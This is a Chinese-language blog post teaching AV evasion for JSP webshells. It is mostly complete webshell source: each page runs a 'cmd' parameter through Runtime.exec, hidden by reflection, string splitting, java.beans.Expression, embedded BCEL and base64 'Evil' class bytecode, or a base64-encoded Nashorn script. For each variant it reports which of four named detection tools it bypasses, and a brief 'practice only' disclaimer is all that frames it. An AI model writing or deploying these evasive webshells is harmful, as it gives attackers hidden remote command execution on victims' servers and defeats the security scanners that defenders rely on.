从零开始学习 jsp webshell 免杀

发布于 2022-02-10  1370 次阅读


从零开始学习 JSP webshell 免杀

@So4ms

0x00 写在前面

本文所做为JSP一句话木马的免杀学习,查杀验证工具这里用到了WEBDIR+D盾河马查杀火绒 四款工具。

下面就来针对不同的方法来进行绕过学习,本文仅用作练习webshell免杀,不可用于其他用途,若出现任何问题,与本人无关。

0x01 简单的 JSP webshell

最简单的JSP webshell形式如下,获取一个cmd参数,然后Runtime.getRuntime().exec()执行即可,这样最为方便快捷,但是显然是很容易被查杀的,四款工具都能够检测出来。

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
    Runtime.getRuntime().exec(request.getParameter("cmd"));
%>

但是当我们将request.getParameter("cmd")拿出来,稍稍修改一下,仅仅多了一个变量cmd,居然就过了WEBDIR+的免杀,但是另外三款工具都还是检测出来了。

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
    String cmd = request.getParameter("cmd");
    Runtime.getRuntime().exec(cmd);
%>

image-20220209102341572

不过这样做得不到命令执行的结果回显,我们可以将其加上,不影响之后的免杀效果。

<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
    String cmd = request.getParameter("cmd");
    Process process = Runtime.getRuntime().exec(cmd);
    InputStream in = process.getInputStream();
    InputStreamReader reader = new InputStreamReader(in);
    BufferedReader buffer = new BufferedReader(reader);
    String s = null;
    while((s = buffer.readLine()) != null){
        response.getWriter().println(s);
    }
%>

0x02 反射获取 Runtime

我们通过反射来获取java.lang.Runtime,以及他的方法,然后执行命令,居然除了火绒外的三个免杀都过了。

<%@ page import="java.lang.reflect.Method" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
    String cmd = request.getParameter("cmd");
    Class clazz = Class.forName("java.lang.Runtime");
    Method grt = clazz.getMethod("getRuntime");
    Method exec = clazz.getMethod("exec", String.class);
    exec.invoke(grt.invoke(null), cmd);
%>

但是当我们将这些敏感的字符串通过拼接的形式写入的话,可以惊奇的发现火绒的免杀也过了。

<%@ page import="java.lang.reflect.Method" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
    String cmd = request.getParameter("cmd");
    Class clazz = Class.forName("java.lang.Run" + "time");
    Method grt = clazz.getMethod("getRun" + "time");
    Method exec = clazz.getMethod("ex" + "ec", String.class);
    exec.invoke(grt.invoke(null), cmd);
%>

除此之外,在java.lang.Runtime类中,我们还发现了他存在一个静态变量currentRuntime保存了一个Runtime对象,于是我们可以直接获取这个变量来执行命令。

private static Runtime currentRuntime = new Runtime();

获取currentRuntime变量,然后直接执行exec方法来执行命令。不过相较上一个这次没能过D盾的查杀,可能是因为存在直接执行了exec方法导致的,提示说是执行exec参数 request.getParameter("cmd")

<%@ page import="java.lang.reflect.Field" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
    String cmd = request.getParameter("cmd");
    Class clazz = Class.forName("java.lang.Runtime");
    Field crt = clazz.getDeclaredField("currentRuntime");
    crt.setAccessible(true);
    Runtime rt = (Runtime) crt.get(null);
    rt.exec(cmd);
%>

0x03 java.beans.Expression

java.beans.Expression类中,存在一个方法getValue(),在调用该方法时会执行构造这个类时传入的类和方法,他的构造方法如下,也就是在调用getValue()时就会调用target.methodName(arguments),这样一来就好理解了,我们就可以将Runtime执行命令所需的东西传入就行了。

@ConstructorProperties({"target", "methodName", "arguments"})
public Expression(Object target, String methodName, Object[] arguments) {
    super(target, methodName, arguments);
}

虽然这个比较简单,但是还是达成了除了火绒之外的三款工具的免杀。

<%@ page import="java.beans.Expression" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
    String cmd = request.getParameter("cmd");
    Expression expression = new Expression(Runtime.getRuntime(), "exec", new Object[]{cmd});
    Process process = (Process) expression.getValue();
    InputStreamReader reader = new InputStreamReader(process.getInputStream());
    BufferedReader buffer = new BufferedReader(reader);
    String s = null;
    while ((s = buffer.readLine()) != null) {
        response.getWriter().println(s);
    }
%>

0x04 BCEL

想要执行命令,直接执行字节码也是一个选择,可以使用BCEL来执行字节码。

使用BCEL执行字节码,首先我们得构造一个恶意类来获取他的字节码。该类的构造方法获取一个参数cmd,然后利用Runtime来执行这个cmd,随后将命令执行的结果保存在result中,在该类的toString方法中对其进行输出,这样我们就可以直接通过实例化然后输出这个类来执行命令了。

import java.io.BufferedReader;
import java.io.InputStreamReader;

public class Evil {
    String result;

    public Evil(String cmd) throws Exception {
        StringBuilder sb = new StringBuilder();
        Process rt = Runtime.getRuntime().exec(cmd);
        InputStreamReader reader = new InputStreamReader(rt.getInputStream());
        BufferedReader buffer = new BufferedReader(reader);
        String s = null;
        while ((s = buffer.readLine()) != null) {
            sb.append(s);
        }
        this.result = sb.toString();
    }

    @Override
    public String toString() {
        return result;
    }
}

随后我们可以通过BCEL提供的两个类RepositoryUtility来利用:Repository用于将一个Java Class先转换成原生字节码;Utility用于将原生的字节码转换成BCEL格式的字节码。

import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.Repository;

public class Test {
    public static void main(String[] args) throws Exception {
        JavaClass cls = Repository.lookupClass(Evil.class);
        String code = Utility.encode(cls.getBytes(), true);
        System.out.println("$$BCEL$$" + code);
    }
}

这里还要注意,在com.sun.org.apache.bcel.internal.util.ClassLoader#loadClass中,存在对字节码的一个判断,字符串开头要为$$BCEL$$,手动加上就可以了。

if(class_name.indexOf("$$BCEL$$") >= 0)
    clazz = createClass(class_name);

拿到了完整的BCEL字节码后,就可以在jsp文件中获取com.sun.org.apache.bcel.internal.util.ClassLoader,然后加载字节码loader.loadClass(bcel),随后获取Constructor构造方法,传入参数cmd,就可以完成命令执行了。

<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="com.sun.org.apache.bcel.internal.util.ClassLoader" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
    String cmd = request.getParameter("cmd");
    String bcel = "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$85TmS$SQ$U$7e$$$y$7ba$5d$f0$FP$c9$d2$e8MD$94$y$7b$R$cd$f25$zP$d3$c6$86$8f$cb$b2$da$g$y$M$y$8e$ff$a8$af5S$d0$e4L$l$fb$d0$8f$e9$X4$d9$b9$L$be0$e2$f4a$cf$des$ces$9fy$ees$cf$ee$af$bf$df$7f$A$98$c6$b6$82$kLq$3cP$e0$c2$94$82$87$98$W$e1$R$c7c$FO$f0T$81$8c$Z$8e$94$C$lfE$98$T$c0g$o$cc$fb$d0$8d$e7$i$_8$W$Y$e4$8aQ$ad$Vl$86$be$f4$81v$a8$r$L$9a$b5$9f$dc$b1$x$a6$b5$3fK$dd9$d32$edy$86p$ecr$7bl$97AZ$w$e5$N$86$ee$b4i$Z$h$b5b$ce$a8$bc$d5r$FC$d0$95t$ad$b0$abUL$91$b7$8a$92$fd$de$ac$Skz$e5$d0$y$Q$bd$5b$_$e6$Z$5c$d5$iC$e4$S$ffb$cd$y$e4$8d$K$c1$5c$V$d2$X$bc$A$d8$aa$94t$a3Z$9du$e4k$Eb$Yj$b6$cdRr$dd$w$d7l$a20$b4$e2$b6$d3$U$b0$5cmoO$c0$G$cf$60$8bN$c5$c8$9fa$Y$v$f3$ef$d8$9a$fe$n$a3$95$j$c1$8eG$8bd2$c7$S$ZKv2$u$xG$baQ$b6$cd$92U$e5Xf$f0$da$a5$a6$5c$86Pl$ac$93$87$caN$a9V$d1$8dUS8$e0$T$t$9f$U$u$VA$ac0$M$5cql$8eU$V$_$b1$a6b$j$af$c8$9e$xOG$daT$bcFZ$f0e$Y$fa$3b$9fOt7TlbR$c5$W$de$a8$98$Q$ab$5e$f4$d1$a5$II$M$3d$e7B6s$H$86n$b7$95N$cf$d8$7b$e9$S$e8f$cekg$e6$d0$dd$c6$c4$7c$5c$c0o$d7$y$db$y$92$H$ca$bea$9f$r$e16$d3ZerM2$8e$M$9da$b4$d3$dcu$9c$84$A$b1$5e0$87$9c$3denw$8d$a0$83$b1$8e$N$a17x$dej$N$86$a8z$c5$94$89$R$a7I$d2$cae$c3$a2$a9$9d$f8$8f$b2$f6$nF$94$3e$ba$k$fat$Z$3dd$3bE$X$ad$83$I$d1$3bL$d9$l$b8$c1$e9$9d$897$c0$8e$e1$ca6$e0$ce$7c$834$5e$87g$e3$Yrv$a2$O$de$807$r$j$c3$97$8dH$N$u$v$PK$c9$RO$j$5d$d9$94$fc$T$feDD$aeC$7d$f7$f1$e4w$3cQ$87$ff$x$C$9f$89$d0$8d$7e$8aq$u$U9$qx$a1$d2$ef$mDy$U$5dHP$96$84$l$v$E$b0L$C$d3$qn$80$90kM1$YD$EpV$d7H4$p$f4$C$86p$9dD$870$83$h$Y$s$fe$u$b1$8c$e0$sq$th$j$c5$zx$88s$Y$b7i$87$8c$3b$b4$7b$E$ae$T$wq$8e$bb$i$f78F9b$ic$iqJAT$e3$E$92$88$3eA$PM$sE$e1I$92$de$c2$_O$fc$L$C$9f$i$cb$c4Yd$a7$Yvt$aaM$40K$t$a3$z$Cu$ff$l$c7$A$fe$c9$u$F$A$A";

    Class<?> _loader = Class.forName("com.sun.org.apache.bcel.internal.util.ClassLoader");
    ClassLoader loader = (ClassLoader)_loader.newInstance();
    Class<?> _obj = loader.loadClass(bcel);
    Constructor<?> constructor = _obj.getConstructor(String.class);
    Object obj =  constructor.newInstance(cmd);
    response.getWriter().println(obj.toString());
%>

使用BCEL来执行字节码的免杀效果还是很好的,对于四款工具都达成了免杀。

不过在Java 8u251的更新中,这个ClassLoader被移除了,具体利用还是要看jdk的版本,详情可见P神的《BCEL ClassLoader去哪了》

0x05 自定义类加载器

这里的自定义类加载器,重写了loadClassfindClass方法,可以在使用类加载器加载类时,使用jsp中硬编码的恶意字节码。

那当然首先还是来获取一个恶意的字节码,可以使用和上面一样的Repository用于将一个Java Class先转换成原生字节码,但是这个字节码显然是存在不可见字符的,所以我们可以选择使用base64来编码一下。这样就可以拿到编码后的可见字符字节码了。

import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.Repository;

import java.util.Base64;

public class Test {
    public static void main(String[] args) throws Exception {
        JavaClass cls = Repository.lookupClass(Evil.class);
        System.out.println(Base64.getEncoder().encodeToString(cls.getBytes()));
    }
}

我们来重写一下我们自定义的类加载器的loadClassfindClass方法,findClass用于写类加载逻辑、loadClass方法的逻辑里如果父类加载器加载失败则会调用自己的findClass方法完成加载,保证了双亲委派规则,具体的可自行搜索相关资料。

这里我们在loadClass中判断我们要加载的类是否包含Evil,如果是的话就调用我们自己重写的findClass,否则交给父类加载器去加载。而在findClass中,我们直接硬编码了我们的恶意字节码,然后把字节码转化为Class。

ClassLoader classLoader = new ClassLoader() {
    @Override
    public Class<?> loadClass(String name) throws ClassNotFoundException {
        if (name.contains("Evil")) {
            this.findClass(name);
        }
        return super.loadClass(name);
    }

    @Override
    protected Class<?> findClass(String name) throws ClassNotFoundException {
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAUgoAEAAxBwAyCgACADEKADMANAoAMwA1BwA2CgA3ADgKAAYAOQcAOgoACQA7CgAJADwKAAIAPQoAAgA+CQAPAD8HAEAHAEEBAAZyZXN1bHQBABJMamF2YS9sYW5nL1N0cmluZzsBAAY8aW5pdD4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEABkxFdmlsOwEAA2NtZAEAAnNiAQAZTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEAAnJ0AQATTGphdmEvbGFuZy9Qcm9jZXNzOwEABnJlYWRlcgEAG0xqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyOwEABmJ1ZmZlcgEAGExqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyOwEAAXMBAA1TdGFja01hcFRhYmxlBwBABwBCBwAyBwBDBwA2BwA6AQAKRXhjZXB0aW9ucwcARAEACHRvU3RyaW5nAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAApTb3VyY2VGaWxlAQAJRXZpbC5qYXZhDAATAEUBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgcARgwARwBIDABJAEoBABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyBwBDDABLAEwMABMATQEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIMABMATgwATwAuDABQAFEMAC0ALgwAEQASAQAERXZpbAEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3RyaW5nAQARamF2YS9sYW5nL1Byb2Nlc3MBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQADKClWAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsAIQAPABAAAAABAAAAEQASAAAAAgABABMAFAACABUAAAD8AAMABwAAAE0qtwABuwACWbcAA024AAQrtgAFTrsABlkttgAHtwAIOgS7AAlZGQS3AAo6BQE6BhkFtgALWToGxgANLBkGtgAMV6f/7iostgANtQAOsQAAAAMAFgAAACoACgAAAAcABAAIAAwACQAUAAoAIQALACwADAAvAA0AOgAOAEQAEABMABEAFwAAAEgABwAAAE0AGAAZAAAAAABNABoAEgABAAwAQQAbABwAAgAUADkAHQAeAAMAIQAsAB8AIAAEACwAIQAhACIABQAvAB4AIwASAAYAJAAAAB8AAv8ALwAHBwAlBwAmBwAnBwAoBwApBwAqBwAmAAAUACsAAAAEAAEALAABAC0ALgABABUAAAAvAAEAAQAAAAUqtAAOsAAAAAIAFgAAAAYAAQAAABUAFwAAAAwAAQAAAAUAGAAZAAAAAQAvAAAAAgAw");
        return this.defineClass(name, code, 0, code.length);
    }
};

这样就可以完成我们的webshell了,同样也可以完成四款工具的免杀。

<%@ page import="java.util.Base64" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
    ClassLoader classLoader = new ClassLoader() {
        @Override
        public Class<?> loadClass(String name) throws ClassNotFoundException {
            if (name.contains("Evil")) {
                this.findClass(name);
            }
            return super.loadClass(name);
        }

        @Override
        protected Class<?> findClass(String name) throws ClassNotFoundException {
            byte[] code = Base64.getDecoder().decode("yv66vgAAADQAUgoAEAAxBwAyCgACADEKADMANAoAMwA1BwA2CgA3ADgKAAYAOQcAOgoACQA7CgAJADwKAAIAPQoAAgA+CQAPAD8HAEAHAEEBAAZyZXN1bHQBABJMamF2YS9sYW5nL1N0cmluZzsBAAY8aW5pdD4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEABkxFdmlsOwEAA2NtZAEAAnNiAQAZTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEAAnJ0AQATTGphdmEvbGFuZy9Qcm9jZXNzOwEABnJlYWRlcgEAG0xqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyOwEABmJ1ZmZlcgEAGExqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyOwEAAXMBAA1TdGFja01hcFRhYmxlBwBABwBCBwAyBwBDBwA2BwA6AQAKRXhjZXB0aW9ucwcARAEACHRvU3RyaW5nAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAApTb3VyY2VGaWxlAQAJRXZpbC5qYXZhDAATAEUBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgcARgwARwBIDABJAEoBABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyBwBDDABLAEwMABMATQEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIMABMATgwATwAuDABQAFEMAC0ALgwAEQASAQAERXZpbAEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3RyaW5nAQARamF2YS9sYW5nL1Byb2Nlc3MBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQADKClWAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsAIQAPABAAAAABAAAAEQASAAAAAgABABMAFAACABUAAAD8AAMABwAAAE0qtwABuwACWbcAA024AAQrtgAFTrsABlkttgAHtwAIOgS7AAlZGQS3AAo6BQE6BhkFtgALWToGxgANLBkGtgAMV6f/7iostgANtQAOsQAAAAMAFgAAACoACgAAAAcABAAIAAwACQAUAAoAIQALACwADAAvAA0AOgAOAEQAEABMABEAFwAAAEgABwAAAE0AGAAZAAAAAABNABoAEgABAAwAQQAbABwAAgAUADkAHQAeAAMAIQAsAB8AIAAEACwAIQAhACIABQAvAB4AIwASAAYAJAAAAB8AAv8ALwAHBwAlBwAmBwAnBwAoBwApBwAqBwAmAAAUACsAAAAEAAEALAABAC0ALgABABUAAAAvAAEAAQAAAAUqtAAOsAAAAAIAFgAAAAYAAQAAABUAFwAAAAwAAQAAAAUAGAAZAAAAAQAvAAAAAgAw");
            return this.defineClass(name, code, 0, code.length);
        }
    };
%>
<%
    String cmd = request.getParameter("cmd");
    Class<?> clazz = classLoader.loadClass("Evil");
    Constructor<?> constructor = clazz.getConstructor(String.class);
    String result = constructor.newInstance(cmd).toString();
    response.getWriter().println(result);
%>

0x06 ScriptEngine

在Java中,可以利用ScriptEngine来执行JS代码。

Nashorn是一个javascript引擎。不过Nashorn JavaScript EngineJava 15已经不可用了。

这里的JztqYXZhLmxhbmcuUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhzKTs=解码后是';java.lang.Runtime.getRuntime().exec(s);,防止字符串检测可以进行编码。同样也可以完成四款工具的免杀。

<%@ page import="javax.script.ScriptEngineManager" %>
<%@ page import="java.util.Base64" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
    String s = "s=[3];s[0]='cmd';s[1]='/c';s[2]='";
    String cmd = request.getParameter("cmd");
    String rt = new String(Base64.getDecoder().decode("JztqYXZhLmxhbmcuUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhzKTs="));
    Process process = (Process) new ScriptEngineManager().getEngineByName("nashorn").eval(s + cmd + rt);
    InputStreamReader reader = new InputStreamReader(process.getInputStream());
    BufferedReader buffer = new BufferedReader(reader);
    s = null;
    while ((s = buffer.readLine()) != null) {
        response.getWriter().println(s);
    }
%>